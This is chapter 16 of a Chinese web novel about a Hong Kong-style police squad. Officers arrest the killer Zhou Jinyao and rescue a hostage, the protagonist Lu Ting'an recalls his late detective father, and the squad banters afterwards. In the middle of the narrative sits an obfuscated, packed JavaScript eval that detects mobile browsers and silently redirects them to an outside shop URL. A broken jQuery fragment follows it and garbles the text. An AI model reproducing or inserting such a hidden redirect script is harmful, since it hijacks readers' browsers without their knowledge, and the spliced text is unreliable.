16.第十六章
    “快,快!枪声就是从楼上传来的。”

    胡镇和李崇阳正带领一小队人在平南岭各条街道搜寻,听到第一声枪响,两人就朝着204幢方向一路狂奔,终于在第二声枪响后不久赶到了楼下。

    李崇阳年轻体力胜,冲在胡镇前面窜进了303。

    “没事吧?!”他担忧地问顾应州,四下环顾一圈后,发现顾应州跟陆听安毫发无损,江采亭的头也还在,倒是被他们队长踩在脚下的那个男人情况看起来不太好,手腕和小腿的血渗透了两层衣服,还在不断往外冒。

    没几秒,胡镇喘着粗气,撑扶着门框,“发、发生什么,抓到凶手了?”

    陆听安看到这两人,就跟见到了救命稻草一样。

    “胡sir。”他飞快收回伸出去的手,对着胡镇招了招,“过来帮个忙,给江采亭松绑,再给叫辆车送医院。”

    胡镇在重案组就是老daddy的存在,他经验多耐心足,很多善后工作都是由他来干。

    因为习惯,他也完全没觉得陆听安的话有什么问题,急匆匆就过去给江采亭松绑了。

    解开江采亭手上的麻绳后,胡镇探了下她的心跳和鼻息,“还好只有外伤,养一段时间就能恢复。”就是受到的心理创伤嘛,估计是需要一些疏导了。

    把人从地上扶起来,胡镇抻着脖子去看地上的嫌疑犯。

    那人半张脸都挤压在水泥地面,露出来的半边有一丝熟悉感,可又确实没在嫌疑人的照片中看到过他。

    胡镇忍不住多看了两眼,“他是?”

    陆听安双手背在身后,老神在在道:“杀人凶手周金耀。”

    周金耀…也姓周?

    胡镇花了好几秒才想起来,这个名字正是周大庆那个从未露过面的儿子。

    回想起早上陆听安堵在重案组办公室门口说的那番话,胡镇倒吸一口冷气,不敢置信地盯着他。

    竟然真的被他猜中了?!

    -

    一刻钟后,警车赶到现场,黎明和痕检科对周婉喜的脑袋以及凶案现场的痕迹进行处理和取样。

    李崇阳和另一名刚来的警员则是架着周金耀把人往外拖,为了避免记者在结案前大肆宣扬,他们还在凶手头上套了个黑色头套。

    陆听安没有第一时间跟着下楼,他躲到了相对安静的窗边。窗边已经被痕检科的人拉开了,现在房间里依旧有很浓的血腥味,但总算少了一些中式恐怖的阴森。

    猴四买的这间房地段差,相比同栋楼的其他房间,却又多了开阔的视野。

    比如陆听安现在站着的这个位置,刚好可以看到医护人员小心地将江采亭抬上担架,还有蒙着头的周金耀被连拖带拽地拉到警车边,周围的群众对他又怕又好奇,还有急躁些的一边骂一边往地上啐了几口。

    最终,再无反抗之力的凶手被一把塞进了警车中。

    看着警车奔驰而去,陆听安心里突然多了几分尘埃落定的宁静。

    他一愣,久违的,想起了自己牺牲多年的父亲。

    他父亲也是一名老刑警。

    从很小的时候、有记忆开始,陆听安就很少能在家里看到父亲,他总是在加班或者追凶,要么就是去别的城市做专项任务,反正工作是他的重心,家人只是偶尔空的时候会来看一眼的存在。

    读小学时,有段时间陆听安突然能经常看到父亲了,他会在晚上回家吃个饭,抱着儿子讲十几分钟的话再匆匆离开。后来陆听安才知道,那是因为母亲闹着要离婚,父亲实在舍不得才压榨了自己少得可怜的休息时间回家。

    但母亲还是无休止地跟他吵架。

    可能谁都不能接受丈夫不陪孩子玩,而是在孩子耳边灌输一些痕迹、死亡不是终止、尸体也会说话各种乱七八糟的观点。

    很多年后,陆听安回忆起来还是觉得自己确实受到了父亲的很多影响。

    他们家生活不富裕,尤其是妹妹出生以后,母亲开始削减自己身上的开销,一年到头都不买一件新衣服。那会他就决定,一定要学一个能赚钱的专业,改变未来的生活,所以他学了金融。

    他成绩好、学习能力很强,哪怕是一流大学的金融课程也能轻松应对。主专业没有什么问题,他开始频繁地关注多年来难以侦破的案件,去图书馆时也会下意识地留意跟刑侦有关的书籍。

    大三那年,陆听安认清自己的兴趣,正式决定考研,而他重新选择的专业跟金融毫无关系,是心理学。

    那两年大概是他过得最充实的时光。早上踩着图书馆开门的时间进去学习,晚上等接近室友休息时间才回寝,自己学校加上附近高校的心理讲座他都听了不知道多少场。

    他以为自己走的路会很顺畅,直到大四下临近毕业时,他父亲带领几名手下与缉毒组一起出任务,去了十个人,回来两个。

    他父亲,前几天还在电话里炫耀说完成这次任务就能升职当部长。可他没说,一旦任务失败,他会被炸得连全尸都没有,搜遍整座废墟只找到几片衣服的残骸。

    那之后陆听安彻底放弃成为一名心理学家。他愿意像父亲那样当个英雄,但他不想看到母亲整日以泪洗面,也不敢想如果他出事,妹妹高昂的医药费由谁来承担。

    于是在那个互联网最火的时代,他选择当网红。

    陆听安从来没有后悔过自己的选择,每个行业都有它自己的艰苦与光芒。他只是没想到,在经历了穿书这么光怪陆离的事情后,他竟然还会走上父亲的老路。

    他父亲亲手抓住凶手以后也是这样的心情吗?紧绷着的神经放松下来,缅怀逝者,又为自己解决社会渣滓感到骄傲自豪。

    如果是,那他或许能理解为什么父亲一辈子都能那般奔赴在前线。

    “陆听安。”

    身后突然有人叫他名字,陆听安的思绪从上辈子抽离,一转头发现顾应州不知道什么时候走到了他身后,正神情复杂地盯着他。

    “顾sir,什么事?”陆听安微笑,“我知道了,你是想感谢我吧,刚才要不是我临危不乱扰乱了周金耀的情绪,你也没有那么容易能抓到他。”

    哪壶不开提哪壶,他这么一说,顾应州就回忆起刚才的情况有多惊险。

    他知道陆听安是为了激怒周金耀从而制造救下江采亭的机会,正是因为知道他才更生气,明明在木屋那他已经提点过凡事以自己的安危为主,没想到陆听安答应得好好的,一到关键时候就冒然行动。

    周金耀这种人早就变成亡命之徒,他嫉妒心重,又有以自我为中心的自恋型人格,陆听安光是站在他面前就已经能勾起他内心阴暗的一面,更何况是说了那么多戳心窝子的实话。

    他想杀陆听安的心是很强烈的,扑过去的时候连小腿的伤都没能阻止他的行为,要不是陆听安的动作还算机敏、朝后躲了一下,现在被送上救护车的应该就是他本人了。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200663|150585||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    顾应州脸色冷峻,完全忘了刚才过来是以为他吓到了想要宽慰他两句。

    他沉着声音命令,“回警署后把警员手册抄三遍,明天早上交给我。”

    陆听安:“……”?

    他用疑惑的表情看着顾应州,眼睛里写着四个字,你没事吧?

    半晌,他用不太确定的语气问:“真要抄?”

    你们当阿sir的都这么过河拆桥的吗,十多分钟前他好歹也是立过功的。虽说行为是稍微莽撞了一些,可在那种情况下,身为警员的他应该以人质的安全为主没错吧。

    顾应州冷哼了一声,“好记性不如烂笔头,既然你记不住我的话,那就换一种方式让你记住。”

    陆听安:“……”小心眼。

    顿了下,顾应州继续补充,“不准让你后勤组的那个小弟抄。”

    “我哪有什么小弟。”

    “那个叫阿海的。”

    “……”

    陆听安抿着嘴不说话了,他是不会承认,顾应州这货猜人心还挺准的。

    -

    江采亭被救护车送去了胡家有股份在的私立医院,很快伤情检测报告就出来了。

    “江采亭的情况已经稳定下来了,经检查,她身上有不下十处皮肤组织挫伤,手脚都有不同程度的烫伤,应该是自救和被周金耀虐打留下的,好在伤情不算特别严重,修养一段时间能好。万幸的是周金耀没有侵犯她,不然这姑娘的心理阴影怕是这辈子都消不了了。”

    重案组办公室,柯彦栋的心情还算不错,也不像早上那样骂人了,“这个案子你们办的不错,及时找到人质并把对人质的伤害降到了最低,胡走南对你们重案一组很感激,已经联系军医院准备捐赠一批药物了。”

    “这几天你们也辛苦了,结案后给你们放一天假,好好休息一下。”

    “啊——才一天假啊,阿sir?”俞七茵哀怨地趴在桌上,“没搞错吧,我们一组有一个多月没有好好放假过了,警署不是只有我们一个组啊。家里长辈一直催我拍拖,这样下去我哪有时间跟人约会嘛。”

    柯彦栋拍拍她脑袋,没好气道:“好了,你想拍拖找谁不行啊?我看你们重案一组的成员都很不错。”

    俞七茵:“?”

    她转头看了几眼自己的搭档们,嘴角一抽。

    胡镇女儿都十多岁了,念初中,说不准小小年纪已经在牵小帅哥的手;付易荣的年纪倒是符合她的理想型,但他看起来好蠢啊,是那种让人提不起欲\望的清澈的愚蠢;李崇阳太小了,是个才出社会的心里只有工作的阳光小狗,他心里哪有女人,恨不得一整天跟在顾sir身后跑。

    至于顾应州,她只用余光瞥了一眼就悻悻扭回了头。

    不敢谈,无法想象这人以后有了爱人会是什么样,可能心情好了奖励他爱人去负重跑十公里,心情不好了再罚人抄警员手册。

    谁要是跟顾sir拍拖,那得遭老罪了。

    怏怏地趴回办公桌,俞七茵倔强的手指指向门外,“一组的我都不要,真要拍拖的话,我要找个陆听安那样的。”

    “……”

    头顶似有一群乌鸦飞过,办公室里寂静无声,只有下巴差点惊掉的柯彦栋用了些力拍了下她的脑袋,“你别发疯!想跟陆听安拍拖?生错性别了你!”

    一组成员:“……”

    后勤组,正端坐着抄手册的陆听安无辜受连,打了个喷嚏。